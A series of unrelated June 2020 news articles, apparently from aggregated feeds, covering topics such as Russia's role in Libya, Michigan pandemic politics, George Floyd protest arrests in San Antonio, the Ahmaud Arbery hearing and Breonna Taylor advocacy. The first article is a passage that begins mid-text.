In turn, Gen. Stephen J. Townsend, commander of the US Africa Command (AFRICOM), told Tunisian Defense Minister Imed Hazgui during a May 28 telephone call that he was ready to deploy the US Security Force Assistant Brigades in Tunisia, citing concerns about Russias activities in Libya. Tunisian and American officials also agreed to cooperate to ensure regional security and counter the escalation on the ground in response to Moscows heightened military activity.

As Russia continues to fan the flames of the Libyan conflict, regional security in North Africa is a heightened concern. Were looking at new ways to address mutual security concerns with Tunisia, read the AFRICOM statement.

Earlier, on May 26, AFRICOM reported that Russia had allegedly flown fighter jets to the air bases controlled by Hifters air force. AFRICOM representatives said that Russia had dispatched up to 14 MiG-29 and Su-24 fighters to Libya. However, the data provided by Libyan Interior Minister Fathi Bashagha seems more plausible. He said six Russian MiG-29s and two Su-24s are now at the disposal of the Eastern Libyan military forces.

Although Russia undoubtedly had something to do with the supply to Libya, the jets in question can no longer be considered Russian as they have been handed over to Hifters air force and now belong to it. Therefore, it can only be a matter of Russia breaching the arms embargo rather than proper military deployment in Libya. Consequently, the Turkish air defense systems deployed in Libya can destroy these fighters without causing direct confrontation with Russia. Turkeys Hawk missile systems at Libyan military bases and G-class frigates (ex-Oliver Hazard Perry class) equipped with Standard anti-air missiles off the Libyan coast significantly reduce the possibility of these jets being used. One should bear in mind that the MiG-29 is first and foremost a fighter-interceptor with very limited combat capabilities that can threaten Turkish drones flying over the LNA positions more than GNA ground units and military facilities.

In addition, it cannot be ruled out that the jets were deployed to Libya from the arsenals of President Bashar al-Assads air force rather than from Russia. The dispatch of the Syrian MiG-29 was reportedly negotiated in April. Russia handed over a group of advanced MiG-29s to the Syrian air force on May 30, at the Russian Khmeimim air base. Syria may have received the fighters in return for those sent to Hifter. Thus, Russia is trying to use Syria to protect itself from possible sanctions for dealings with Hifter. According to some reports, Syrians and Palestinians residing in Syria are now increasingly recruited to engage in military operations in Libya on the side of the LNA. Specifically, the Palestinian Liwa al-Quds militia loyal to Assad is poised for deployment to Libya and it appears that the fighters will be able to replace Russian mercenaries. The plan is indicative of Russias intentions to conceal its pro-Hifter role, reassigning it to the Syrian regime. Such tactics resonate with the UAE, the major sponsor of the field marshal that is also mending fences with an economically desperate Syria. In fact, Abu Dhabi may lend a financial hand to Damascus.

Involved in the recruitment of Syrians and the supply of warplanes for Hifter, Russia, however, does not seek to turn the tide of war. Moreover, the measures taken are not supposed to allow the LNA to launch an offensive against Tripoli. Rather, they are to ensure the armys continued combat effectiveness amid its military setbacks, to prevent the collapse of the front and to check the advance of the GNA and Turkish forces.

Moscow is consistent in its plan to withdraw political support for Hifter, who constitutes a major impediment to the peace process launched at the Berlin conference on Libya. Apart from wanting Tobruk and Tripoli to engage in direct talks, Russia seeks to see the promotion of House of Representatives speaker Aguila Salehs peace plan prepared by Russian experts. Ankara, in turn, realizes that it will be hardly possible to get the upper hand over the LNA while it is supported by Russia. Thus, Moscow and Ankara must have agreed on the necessity to relaunch the Berlin peace process kick-started in January 2019, but on their terms, which would secure a leading role for Russia and Turkey in the Libyan settlement.

In a May 18 phone call between the two countries leaders, both Putin and Erdogan highlighted the need for the quick resumption of an indefinite truce and inter-Libyan dialogue based on the decisions of the Berlin international conference. Shortly after the statement, the Russian mercenaries pulled back from the front line near Tripoli, with the Wagner Group forces leaving Tarhuna for Bani Walid and Juffra. The step could make Hifter more receptive to the peace initiatives, having stripped him of support and shown the futility of further attempts to capture Tripoli. With no Russian military support, the LNA had to withdraw from many key points near the capital city. It's possible that Moscow did so partly to satisfy GNA leader Fayez Sarrajs demands. Back in January 2019, at the Moscow negotiating table, he conditioned his consent on a cease-fire and talks with the opposing party upon the LNAs return to the line of departure.

As Jalel Harchaoui, a research fellow in the Hague-based Conflict Research Unit of the Clingendael Institute, told Al-Monitor, The withdrawal of Russian mercenaries reflects a one-time entente between Moscow and Ankara. The Wagner Group has taken away its contribution to Hifter's offensive in the south of Tripoli. At the same time, it strengthened the defense of Jufrah and Sirte, knowing that it effectively has the option to block any potential GNA incursion into the south.

Undoubtedly, other states involved in the Libya crisis are uncomfortable with the steps taken by Russia and Turkey. In addition to the United States, other parties concerned will try to prevent the Russia-Turkey tutelage over the peace process. Russia has not become part of an anti-Turkey alliance announced by Egypt that includes Greece, Cyprus, the UAE and France to confront Turkish moves in Libya and the Eastern Mediterranean. Russia may also have covert areas of common interest with Turkey in the region. For example, implementing the Turkish-Libyan agreement on maritime boundaries could hamper the construction of Egypt-Cyprus-Israel gas pipelines to Europe. Russia will have fewer competitors for the gas it supplies to the EU via Turkey.
The Punjab Govt. today announced the appointment of media veteran, Dr. Sandeep Goyal as the first CEO of the recently constituted Punjab CSR Authority, which has been tasked with the responsibility of attracting CSR funds from industry both within Punjab, and from outside the state, and streamlining the CSR activities to coalesce into a set of common goals. The CEO will report to the Secretary, Industries & Commerce, Punjab.

The state of Punjab ranks quite low on India Incs priority list for CSR. The state has received just Rs. 234.27 crore  a meager 0.55% of the total Rs. 42,467.23 crore of CSR spending by industry across all the different states and union territories of India  between the financial years 2015-16 and 2017-18, according to the Union Ministry of Corporate Affairs data, based on the filings made by the companies up to June 30, 2019. Though the annual CSR expenditure by companies in Punjab has gone up slightly, from Rs. 69.93 crore in 2015-16 to Rs. 88.51 crore in 2017-18, it is still far below the fund support that all other major states, including neighbouring Haryana and Rajasthan, continue to receive from industry.

During the same three-year period under reference, companies have spent Rs. 1,554.70 crore and Rs. 1,027.24 crore on CSR activities in education, health and other sectors in Delhi and Haryana, respectively. Similarly, northern states of Rajasthan and Uttar Pradesh have also cornered a far bigger share of CSR funds from industry, compared to the state of Punjab.

According to the Companies Act, 2013, companies with a net worth of at least Rs. 500 crore, turnover of more than Rs. 1,000 crore, or a net profit of Rs. 5 crore or more are required to spend 2% of their average profits during the three immediately preceding financial years on CSR activities. The law empowers the Board of every company to decide the activities to be undertaken and the area for implementation of the CSR projects.

Welcoming the new incumbent, Mrs. Vini Mahajan, IAS, Additional Chief Secretary, Industries & Commerce, Govt. of Punjab, said, We are delighted to have Dr. Sandeep Goyal as the first CEO of Punjabs CSR Authority. Dr. Goyal has spent more than three decades in the corporate world, both as a professional and as an entrepreneur. He has just the right credentials to lead the newly constituted Authority, given his easy access, past relationships and professional outreach to Indias top corporates.

Dr. Sandeep Goyal is a local St. Johns school alumnus. He did his BA (Honours) in English Literature from DAV College, Chandigarh, graduating with a gold medal from the Panjab University. He went on to do his MBA, and then many years later his PhD, from FMS-Delhi. He is also an alumnus of Harvard Business School. Dr. Goyal was President of iconic ad agency, Rediffusion in the late 1990s. He was then Group CEO of Zee Telefilms, before turning entrepreneur in 2003 when he formed a joint-venture with Dentsu Inc., the worlds largest advertising agency.

Dr. Goyal is currently Chairman of the India Advisory Board of Snap Inc. He is also the Chief Mentor of the Indian Institute of Human Brands (IIHB), a think-tank that specializes in celebrity studies.

I am delighted to be selected by the Punjab Government to lead the CSR Authority. It is not an easy assignment. CSR funds are going to be under severe pressure because corporate profits are likely to be seriously impacted by the current pandemic and the lockdowns. Nevertheless, once the pall of gloom lifts somewhat, we will look to build durable and long-term partnerships with industry to support projects that benefit the state, and its subjects, across a broad spectrum of initiatives, says Dr. Goyal.

The main reason for the low CSR spending in Punjab is possibly because the big companies located in Punjab are actually spending more money from their CSR funds outside the state, making the state a net donor.

Of the CSR spending of Rs. 2,232.16 crore made between 2014-15 and 2017-18 by companies registered in Punjab, Rs. 161.64 crore, or only 7.24%, was spent on CSR in the state. The balance CSR funds of Rs. 2,070.52 crore went to CSR projects in other states, whereas all that Punjab got from companies registered in other states during the four-year period was a miniscule Rs. 126.13 crore.
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Linkedin (Reuters)  Fri, June 5, 2020 17:03 595 fc6853813033f564188675f8bdc779a3 2 Environment pandemic,coronavirus,emission,COVID-19,climate-change,carbon-dioxide Free

A key measure of carbon dioxide emissions in the Earth's atmosphere hit a record in May even as a global pandemic brought the world's economies to a virtual standstill this year, according to US government data published on Thursday.

Carbon dioxide recorded at the Mauna Loa Observatory in Hawaii reached 417 parts per million (ppm) in May, higher than the record of 414.8 ppm set last year, according to the announcement by the National Oceanic and Atmospheric Administration and the Scripps Institution of Oceanography at the University of California San Diego.

The drop in worldwide emissions due to the coronavirus outbreak -- estimated to be as much as 26 percent in some countries during the peak of government confinement orders -- fails to cancel out the large natural variations in carbon emissions caused by how plants and soils react to temperature, humidity and other factors, scientists said.

It would take carbon dioxide reductions of 20 percent to 30 percent for six to 12 months to slow the rate of increase in the measurements at Mauna Loa, Scripps said in a statement.

Read also: Tropical forests are reaching their carbon dioxide limit

Last month, research published in the journal Nature Climate Change predicted that global emissions could fall by up to 7 percent this year.

"It will decrease the rate of increase of CO2 by a little bit, but it will still be increasing," Pieter Tans, chief scientist at NOAA's greenhouse gas monitoring lab, said in an interview. "So a 10 percent change -- it's even hard for us to measure."

May is the annual peak for the world's carbon dioxide emissions, which are at levels not experienced by the atmosphere in several million years.

Carbon dioxide concentrations at Mauna Loa are documented in a graph known as the Keeling Curve, named for Charles Keeling, who began measurements there in 1958.
(Newser)  Saying "many people are still suffering from" the crimes committed by Bernie Madoff, a federal judge refused Thursday to set the convict free. Madoff, 82, is serving a 150-year sentence, but his lawyers said he's dying of kidney disease and asked that he be released now, CNBC reports. Illness doesn't change anything for US District Judge Denny Chin. "When I sentenced Mr. Madoff in 2009, it was fully my intent that he live out the rest of his life in prison," Chin wrote in his ruling, adding that he doesn't believe Madoff has ever shown true remorse. "Nothing has happened in the 11 years since to change my thinking." Madoff, who pleaded guilty in 2009 to cheating thousands of investors out of billions of dollars, committed "one of the most egregious financial crimes of all time," the judge said, adding that it took a "staggering human toll."

story continues below

Madoffs lawyer issued a statement expressing disappoinment with Chin's "refusal to grant Madoff any compassion," though the judge did say Madoff's health problems were "most unfortunate." Brandon Sample said Chin "essentially found that because of the nature of Madoffs crimes  Madoff is beyond redemption." The only way Madoff, who hopes to be allowed to live with a friend, can be freed now is if President Trump commutes his sentence, Sample said, per the New York Post. "We implore the president to personally consider Madoffs rapidly declining health," the lawyer said. So far, more than 16,000 of Madoff's Ponzi scheme victims have filed claims to be reimbursed for a total of more than $19 billion. About $13 billion of that has been paid out. (A professor had argued for releasing Madoff.)
By Trend

The Central Bank of Azerbaijan (CBA) held a foreign exchange auction with the participation of the State Oil Fund of Azerbaijan (SOFAZ), during which Azerbaijani banks acquired $44.7 million, Trend reports referring to the CBA.

The demand from the banks at the auction decreased by 21.2 percent or by $12 million compared to the figure during the previous auction.

Taking into account the number of days remaining before the next scheduled auction, as well as with the aim of ensuring uninterrupted currency trading by the banks, the demand of banks at the auction will be fully ensured during weekends.

The first foreign exchange auction after a long time was held with the participation of SOFAZ on March 10, 2020, during which Azerbaijani banks acquired $323.2 million.

The CBA has begun to hold foreign exchange auctions through unilateral sale of foreign currency in competitive conditions since mid-January 2017.

A decision was made in March 2020 to hold extraordinary foreign exchange auctions in connection with the increased demand of the population for foreign currency amid the failed OPEC+ deal, which entailed a sharp decline in oil prices.

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Follow us on Twitter @AzerNewsAz
LANSING (AP)  Michigans school superintendent said Thursday that K-12 districts are confronting the possibility of staggering spending cuts amid the coronavirus pandemic unless Congress helps fill a nearly $2.4 billion revenue shortfall over this budget year and next.

A divided state Supreme Court, meanwhile, declined to expedite an appeal in the Republican-led Legislatures lawsuit challenging Democratic Gov. Gretchen Whitmers stay-at-home restrictions. The governor, who has expressed fears that demonstrators are spreading the coronavirus, for the first time participated in a rally against police brutality  wearing a mask but not adhering to social distancing.

SCHOOLS

State Superintendent Michael Rice said the largest reduction in per-student funding under the current finance system came in 2011, at $470. A $1 billion cut to the school aid fund would result in $685 less per pupil, he said.

Yet the cut could be even greater and substantially greater and much more harmful, he told reporters.

Districts are facing a July 1 deadline to enact budgets for the coming academic year. The state likely will have to cut their payments without an additional federal relief bill or flexibility to use previously enacted federal aid to fill revenue holes.

Congress is the only entity that has the capability of substantially sparing our children from very profound cuts, Rice said.

LAWSUIT

The state high court voted 4-3 to deny lawmakers request to bypass the Court of Appeals and hear their suit contesting her use of emergency powers during the pandemic. Whitmer, who effectively won the case in the Court of Claims while the GOP took some comfort from one part of the ruling, had also asked the Supreme Court to intervene.

Justice Richard Bernstein noted that Whitmer earlier this week lifted her stay-home order.

While recognizing that not all restrictions have been lessened (and acknowledging the possibility of future restrictions being reimplemented), I believe the parties and this Court would benefit most from having the vital constitutional issues of this case fully argued in the Court of Appeals before receiving a final determination from our Court, he wrote. Chief Justice Bridget McCormack and Justices Megan Cavanagh and Elizabeth Clement also agreed to wait.

Three justices, Stephen Markman, David Viviano and Brian Zahra, said the appeals court should be skipped.

By our decision to deny the applications for bypass, we bypass an exercise of authority to decide what is perhaps the most substantial dispute ever presented to this Court, not only diminishing our standing among the judicial institutions of our federal system but diminishing our relevance within the judicial institutions of this state itself, Markman wrote.

WHITMER MARCHES

A mask-wearing Whitmer joined a peaceful march in Highland Park to honor George Floyd, whose death last week at the hands of Minneapolis police has prompted ongoing global protests. She drew criticism from some Republicans for not keeping 6 feet from others after she previously urged conservatives protesting her orders outside the Capitol to do that.

Whitmer spokeswoman Tiffany Brown said the governor wore a mask even though it is not required outdoors under her latest order. Whitmer did not violate the order, she said, because there is an exception for constitutionally protected expressive activities like peacefully protesting.

In online guidance about the order, however, the governors office says people participating in demonstrations must remain 6 feet away from people not in their household. The restriction is not known to have been enforced by police.

Brown said Whitmer attended to show her support for peaceful demonstrations taking place across America, the need for action and to shine a light on the inequities black Michiganders face every day.

CASES

The state health department reported 25 additional COVID-19 deaths, including 13 that occurred days or weeks before. The total was 5,595.

The seven-day rolling average of new cases, 318, dropped to the lowest point since March 25.

CAMPGROUNDS

The state said campgrounds in state parks and recreation areas will open June 22, as Michigan moves to phase four of Whitmers restart plan. Camping in rustic state forests and overnight stays in Department of Natural Resources-managed harbors will resume next Wednesday.
Michigan Gov. Gretchen Whitmer sent and informal RSVP to a state Republican-led congressional committee that is probing decisions the governor made throughout the coronavirus pandemic: Shes not coming.

So at this point, we are in a legal battle and I dont think that testifying in front of the committee makes a lot of sense, Whitmer said during a Friday, June 5 press conference, so I wont be accepting that invitation.

The Joint Select Committee on the COVID-19 Pandemic, which asked Whitmer to speak, was created with subpoena powers to analyze the states response to the crisis.

Republican leaders in the state House and Senate filed a lawsuit against Whitmer in May challenging the governors extension of a COVID-19 state of emergency without the authority of the legislature.

After the legislature failed to vote on an extension to Whitmers state of emergency declaration, at the time set to expire April 30, Whitmer proceeded to issue an extension without legislative approval.

The lawsuit seeks to determine if the governor has that right.

Whitmer claims she has the right to extend a state of emergency if a public health crisis exists under powers granted in the 1945 Emergency Powers of Governor Act. The legislature argues the governor isnt allowed to extend any state of emergency beyond 28 days, without the legislatures approval, based on the 1976 Emergency Management Act.

While the 1976 law sets explicit deadlines and requirements for state of emergency extension, it also states that it doesnt negate powers given in the 1945 law.

Michigan Court of Claims Judge Cynthia Diane Stephens ruled in Whitmers favor last month, calling arguments that Whitmer doesnt have the authority to extend a state of emergency if the legislature doesnt agree meritless.

Attorneys for House Speaker Lee Chatfield, R-Levering, and Senate Majority Leader Mike Shirkey, R-Clark Lake, appealed the ruling and argued their case be immediately considered by the Michigan Supreme Court instead of going through the Court of Appeals process.

The state Supreme Court in a 4-3 decision voted not to hear the case before it is ruled upon in the Court of Appeals.

Messages seeking comment on Whitmer declining to testify were left with Chatfield and Shirkey.

Related:

Republicans invite Whitmer to testify

Gov. Gretchen Whitmer can extend state of emergency without legislature, judge rules

Groups pick sides as legislature, Whitmer head to court over Michigan state of emergency

Judge to determine if Michigans extended coronavirus state of emergency is legal

Whitmer administration calls Republican lawsuit challenging emergency authority a power grab

5 reasons Michigan lawmakers are suing Gov. Gretchen Whitmer

Protesters condemn stay-home order

Michigans mask mandate highlights political fault lines in coronavirus crisis
Since Saturday, at least 18 people have been arrested in connection to violence after the conclusion of peaceful protests in San Antonio.

The Alamo City was just one in hundreds across the country that has been protesting for police reform after Floyd died while in police custody last week.

At least seven people have been arrested in San Antonio for charges of engaging in a riot since Saturday and several others have been arrested for resisting or evading arrest related to the rioting. Nine more people, including six teenagers, were arrested on Tuesday following protests for similar charges.

Those arrested on June 3 were:

Deandre Hogan, 27, charged with unlawful carry of a weapon, possession of a controlled substance with intent to deliver and violation of city ordinances

Payton Kirkham, 24, charged with a warrant, possession of marijuana and city ordinance violations

Those arrested on June 2 were:

Dameion Kyle Bell, 18 charged with engaging in a riot and evading arrest

Carlos Alfredo Cabrera, 19, charged with engaging in a riot

Jose David De La Cruz, 17, charged with evading arrest

Jonathan Caballero, 19, charged with evading arrest and engaging in a riot

Damion Smiley Calderon, 17, charged with evading arrest

Jophrank Jaramillo, 17, charged with criminal trespassing

Brian Michael Sunblade, 24, charged with resisting arrest, failure to identify and crossing against pedestrian control sign

Nathan Abraham Carranza, 21, charged with engaging in a riot and criminal mischief

Priscilla Iree Gonzales, 27, for pedestrian in the roadway

Those arrested May 31 were:

Natalie Calderon, 33, charged with two counts of criminal mischief

Those arrested on May 30 were:

Joe Canales, 44, charged with aggravated assault of a peace officer, evading arrest, rioting and resisting arrest

Wayne Waldrip III, 21, charged with assault, resisting arrest and unlawful carry of a weapon

Alejandro Yanez, 17, charged with rioting

Ryatt Aguilar, 19, charged with rioting and retaliation

Davianna Reece for a curfew violation

Ethan Pulliam for a pedestrian in the roadway

After a peaceful protest on Wednesday, SAPD officers arrested two people unrelated to the protests after Hogan was bragging about wanting to kill cops. Police detained him for violating the city's 9 p.m. curfew downtown and upon search found a handgun and a bottle of ecstasy. Kirkham, who was with him, was also charged after finding marijuana in her possession.

On Tuesday, Carranza was arrested after police said he damaged the Travis Park United Methodist Church on Saturday. Police said he was throwing rocks at the church, shattering windows and costing more than $3,100 in damages.

Police arrested Canales, of Uvalde, on Saturday for multiple charges, including aggravated assault and engaging in a riot.

Canales, along with about 50 other people were allegedly rioting downtown, ignoring police commands to follow the enacted curfew. Police said Canales was throwing about a dozen "softball-size" rocks at police, hitting two officers, an arrest report said.

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He also allegedly tried to throw tear-gas canisters back at officers before throwing bottles of urine at them. Canales was allegedly also attempting to encourage other rioters to "throw whatever they had on hand at (officers)," the report said.

SWAT officers attempted to arrest Canales, but he took off running, before he was tripped by one of SAPD's bicycles and detained.

He was charged with aggravated assault of a peace officer, engaging in a riot, evading and resisting arrest.

A 33-year-old San Antonio woman was also arrested downtown this weekend after breaking windows of the RiverCenter Mall.

RELATED: Police out in force in downtown San Antonio Sunday night after violence, looting marred Saturdays George Floyd protest

On Sunday, two witnesses informed officers that a woman, later identified as Natalie Calderon, was kicking the windows of the H&M store, causing them to shatter.

When officers located Calderon in front of the Menger Hotel next door, she admitted to the vandalism, saying she did it because she "was just angry," an arrest report said.

Calderon was charged with two counts of criminal mischief.

Officials and protest organizers have both emphasized that the group responsible for looting and vandalizing downtown businesses on Saturday and Sunday were not linked to to the peaceful demonstrations advocating for civil change.

The protest on Saturday brought nearly 5,000 people downtown to march through the streets for racial injustice after Floyd's death. San Antonio leaders said the Alamo City hasn't seen near the same level of destruction and violence many cities have been seeing across the country.

A nightly temporary curfew has been enacted for the Alamo Plaza in an effort to mitigate destruction downtown.

Not pictured above: Jonathan Caballero, Priscilla Gonzales, Davianna Reece and Ethan Pulliam

Taylor Pettaway is a breaking news and general assignment reporter for MySA.com | taylor.pettaway@express-news.net | @TaylorPettaway
One of the white men charged in the killing of Ahmaud Arbery used a racial slur after shooting the unarmed black man, an investigator testified in court on Thursday, an explosive allegation in one of the cases roiling race relations in the United States.

After more than five hours of arguments during which a prosecutor said Arbery, 25, had been "chased, hunted and ultimately executed", Glynn County Chief Magistrate Judge Wallace Harrell ruled probable cause existed and the case could go to trial.

Special Agent Richard Dial of the Georgia Bureau of Investigation (GBI) said William Bryan told his office in an interview last month that Travis McMichael uttered the slur as Arbery lay dying from shotgun wounds on Feb. 23. Bryan and McMichael are both defendants in the case.

"Mr. Bryan said that after the shooting took place before police arrival, while Mr. Arbery was on the ground, that he heard Travis McMichael make the statement: fucking nigger," Dial said in testimony.

The Arbery case triggered a national outcry after cellphone video of the shooting was leaked on social media a month ago. Thursday`s hearing follows more than a week of protests across the United States over the May 25 death in Minneapolis police custody of George Floyd, also a black American. Four officers have been charged in that case.

Dial said he had evidence from social media and elsewhere that Travis McMichael had used racial slurs in the past. McMichael, a former U.S. Coast Guard boarding officer, once told a friend that he loved his job because he "was on a boat and there weren`t any N-words anywhere," Dial testified.

Dial said the three defendants - Bryan, 50, Travis McMichael, 34, and his father, former police officer Gregory McMichael, 64 - chased Arbery in pickup trucks and sought to box him in as he was jogging in their neighborhood.

Both McMichaels are charged with murder and aggravated assault. Bryan, their neighbor who took the cellphone video, was charged with murder and attempting to illegally detain and confine.

Jason Sheffield, an attorney for Travis McMichael, pressed Dial on whether Bryan was promised leniency for possible cooperation with prosecutors when he cited the alleged slur, and argued that his client had acted in self defense.

Dial said he was unaware of any leniency offer and that it was Arbery who was defending himself.

"I believe Mr. Arbery`s decision was to just try to get away and when he felt like he could not escape, he chose to fight."

Dial also testified that investigators found several text messages on Bryan`s phone containing derogatory comments that exhibited a "racist attitude" which Dial said likely played a role in Bryan`s decision to chase and help trap Arbery.

That testimony was elicited by Kevin Gough, Bryan`s attorney, who later argued that his client did not know why the McMichaels were chasing Arbery and had done what "any patriotic American citizen would have done".

Special prosecutor Jesse Evans called that assertion "asinine". "Any American would pick up the phone and call 911," Evans told the court.

The three defendants were not charged until more than two months after the shooting. The GBI stepped in to investigate after the video circulated widely and Glynn County police took no action.

Police say Gregory McMichael saw Arbery running in his neighborhood and believed he looked like a burglary suspect. The elder McMichael called his son and the two armed themselves and gave chase in a pickup truck, police say.

Dial said video and other evidence showed that the first of three shots from Travis McMichael`s 12-gauge Remington Model 870 pump-action shotgun was to Arbery`s chest.

"You see the front of his shirt is saturated with blood," Dial said. "The second shot is off camera as well but you do see the blood mist come into the camera screen."
Metro Manila (CNN Philippines, June 5)  President Rodrigo Duterte scolded officials of the Department of Health, but spared Secretary Francisco Duque III, over delays in the release of cash benefits to healthcare workers afflicted with COVID-19.

In a speech taped on Thursday and aired on Friday morning, the President threatened to sack DOH officials.

"The power to appoint carries with it the power to dismiss. Since it's an absolute thing for total loss of confidence, I'm removing them because they're not functioning. We are wasting money paying for these idiots," he said during a speech held in Davao City.

He did not specify who among DOH officials will be punished, but he clearly spared Duque from the blame.

The Bayanihan to Heal As One Act, approved in March, grants 100,000 to healthcare workers with "severe" COVID-19 infection and 1 million to the families of those who died from the viral illness. Three months since the law was passed, no compensation has been given to any of the more than 2,600 medical frontliners who have tested positive for COVID-19. Thirty-two of them died.

The revelation in a Senate hearing on Tuesday prompted Duterte to give DOH until June 9 to complete what is stipulated in the law.

"You cannot run your own errands, 'yung trabaho mo, kung ikaw lahat. Somebody has to do it for you. Itong mga p****i** na ito, I do not think they are prepared to join the government," he told Duque.

The embattled health secretary also criticized his subordinates for delay in release of benefits.

"Nakakahiya talaga. Namatayan na nga, tapos nagpawardi-wardi ang mga tao ko. Parang walang sense of urgency. Talagang ang sama-sama talaga ng loob ko," he said.

After receiving flak online for expressing disappointment towards his staff, Duque said he "acknowledges this is still my responsibility."

Duterte tasked Duque to form a new team within 24 hours to oversee the faster distribution of aid to affected families.

DOH on Friday said the first batch of the 32 checks have already been released to the bereaved families, while the remaining checks are ready for pick-up and delivery to the recipients. It said distribution will be prioritized in the next two days.

Health Spokesperson Maria Rosario Vergeire earlier explained that the release of the sickness and death benefits was delayed as the agency needed to find the money to make the payments.

She said they earlier eyed charging the benefits to the Government Service Insurance System or Social Security System but later decided against it.

She added Duque has signed a joint administrative order along with the Budget and Labor departments, instead of issuing implementing rules and regulations. The absence of an IRR was among the reasons earlier cited for the delay in health workers' compensation.

The funding will now come from the DOH's Medical Assistance Fund, which is currently at 100 million. A total of 79 healthcare workers who fell severely ill will receive 100,000 each while the families of the 32 fatalities will get 1 million.

The World Health Organization in April sounded the alarm over the high infection rate among healthcare workers in the Philippines. The government said the situation has improved following the purchase of more personal protective equipment for frontliners.
The Punisher, an anti-hero character emblazoned with a large skull across his chest, is a cult favorite in the Marvel fandom. He's almost the anti-Superman, whereas the overpowered Son of Krypton has vowed never to kill, the non-superpowered Punisher loves him some murdering. In fact, the Punisher relishes in all activities that are "extralegal" regularly employing torture, kidnapping, extortion, and excessive violence in his vigilante quest to bring criminals to justice. He's basically what would happen if George W. Bush's wet dream found it's way on to the pages of a comic book. He's a great character for fiction -- a nice palate cleanser when you're sick of Superman being such a weenie all of the time -- but he's not so great, as an emblem of our police force. Unfortunately, the police haven't seemed to realize that fact, as many of them are wearing the Punisher's iconic skull logo on their uniforms.

It's not a good look to wear the mark of a renegade soldier who takes the law into his own hands when people are rioting in the streets because a police officer chose to take the law into his own hands by murdering George Floyd. That this logo is of a skull, otherwise known as "a dead human head," isn't going to further advance your message that the police are out to protect and serve. And also, yeah, to what that guy said up there. This is a Nazi thing.
Breonna Taylor's name has been written on thousands of pieces of cardboard and tagged hundreds of thousands of times online over the past week. Despite this, her death in early March at the hands of Louisville police, when she was shot eight times in her bedroom during a botched drug sting, has occupied little of the national conversation compared to the similarly senseless death of George Floyd. There's no bystander footage forcing people to bear witness to her pain: unfortunately still a prerequisite for mainstream media coverage, and for Americans to believe police brutality exists. The relative quiet around her death is also emblematic of how Black women's pain is ignored, or never seen in the first place. Even less has been said about Tony McDade, a Black trans man killed by police in Tallahassee, Florida.

Related | How to Support Black Trans People Right Now

The recent attention Taylor's case has gotten, however, has made all the difference. For weeks, an internal "public integrity" investigation was the only action being taken against the three officers  John Mattingly, Brett Hankison and Myles Cosgrove  responsible for her death. Still, none of the officers have been fired, arrested or charged: they're on administrative leave. Now Taylor's family has filed a lawsuit against them claiming charges of "battery, wrongful death, excessive force, negligence and gross negligence," according to CNN. The FBI has also opened an investigation into the circumstances of Taylor's death.

Related | How to Support Protesters in Every City

Scrutiny is on the legality of the "no-knock" warrant that allowed police to enter Taylor's home without announcing themselves, resulting in the warning shot Taylor's boyfriend Kenneth Walker fired believing there was an intruder, which police say justified their fatal shots. (Initially, police arrested and charged Walker with attempted murder of a police officer. Charges have since been dropped.)

The Louisville Police has also announced "reforms," like mandatory body camera usage. However, similar reforms were already in place in Minnesota when George Floyd was killed, and Louisville police already violated them when officers fatally shot a Black man named David McAtee in an attempt to disperse a gathering on June 1. Not a single officer had activated their camera, resulting in the resignation of former Police Chief Steven Conrad. Also at the local level, Louisville Metro Council's Public Safety Committee voted unanimously on Wednesday to approve "Breonna's Law," a regulation that would mandate all officers have to wear body cameras while executing "no-knock" warrants.

Taylor would have turned 27 today. She was an EMT first responder, who went by "Bre" to her large, tight-knit family. Her aunts Bianca Austin and Tahasha Holloway are grateful people know what happened to her. "But we don't want this at all," Austin told NPR. "We want her back."

As the protests continue, here are ways you can demand justice for Breonna Taylor and support her family.

Donate to support Breonna Taylor's family. Her aunt Bianca Austin is running a GoFundMe to cover funeral costs and support the family as they continue their lawsuit and fight for justice. Citizens have fundraised millions for George Floyd and Ahmaud Abery's families: make sure Taylor's family gets the same support. Donate here.

Sign petitions to demand justice. A petition on Change.org already has over four million signatures. Add one more to demand charges be filed against John Mattingly, Brett Hankison and Myles Cosgrove, that Taylor's family be paid damages, and Kentucky Governor Andy Beshear appoint a special prosecutor to investigate the LMPD, and federal legislation to ban "no-knock" warrants. Sign here.

Another petition called #JusticeForBre is also circulating. This one also demands the officers' arrest and the Mayor's action, as well as full transparency by LMPD. Sign it here.



Pause your day and read about Breonna's life. Read writer and organizer Eva Lewis's op-ed celebrating Breonna's life on Teen Vogue, and NPR's story on her family.

Post about Breonna on her birthday. As strange as it sounds, posting actually matters right now. We're all relying on social media for real-time updates on policy action and what's happening in the streets, so while we're glued to our phones, force people to think about Breonna's life and case. Especially if you can't attend the protests in person, remember her and spread the calls for action today using hashtags #BreonnaTaylor and #JusticeForBre. There are several easily sharable graphics and portraits, that you can use to share action steps.

Make calls and send emails to local officials. Kentucky Governor Andy Beshear, Louisville Mayor Greg Fischer, Commonwealth's Attorney Thomas Wine and Kentucky Attorney General Daniel Cameron all need to hear from you, demanding they do everything they can to secure justice for Taylor. The petitions circulating can serve as a phone and email script. The Action Pac's website StandWithBre.com also has a handy feature for making calls through their website, or see their contacts below. Email Andy Beshear here and call (502) 564-2611 Email Greg Fischer here and call (502) 574-2003 Email Thomas Wine's office at JCooke@louisvilleprosecutor.com and call (502) 595-2300 Email Daniel Cameron here and call (502) 696-5300
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Linkedin Mardika Parama (The Jakarta Post) Jakarta  Fri, June 5, 2020 16:03 595 fc6853813033f564188675f8bdc7101c 1 Business Angkasa-Pura-Logistics,air-freight,disruption,COVID-19,Cargo,INACA Free

State-owned operator Angkasa Pura I, through its logistics subsidiary Angkasa Pura Logistics (APL), has launched an air freight service amid the COVID-19 pandemic, which has disrupted the cargo business for commercial airlines.

APL, which officiated the launch with an inaugural flight on Thursday, boasts logistics services that reach areas that are difficult for commercial planes to access due to short runways, according to APL president director Danny Thaharsyah.

We aim to harness Indonesian air freight business potential, which can grow exponentially. We are also striving to reach regions that are still untouched by other cargo airliners, Danny said during a press briefing on Thursday.

For its operation, the company will provide air freight services to nine cities across Indonesia, including Banjarmasin in South Kalimantan, Denpasar in Bali, Makassar in South Sulawesi, Ambon in Maluku and Batam in Riau Islands. It will also serve an international freight service to neighboring Singapore.

Air transportation in Indonesia is critical to connecting thousands of islands throughout the archipelago. Many commercial airlines, which have been severely hit by the pandemic, utilize the belly of their aircraft to transport cargo during passenger flights.

Danny said that APL would focus on the delivery of marine and perishable goods, which required quick shipping times to ensure freshness.

Besides general cargo, marine goods also have huge potential for our freight service because Indonesia exports a high number of marine products. They also need to be shipped quickly to ensure the products quality, something that belly freight services cannot offer, he said.

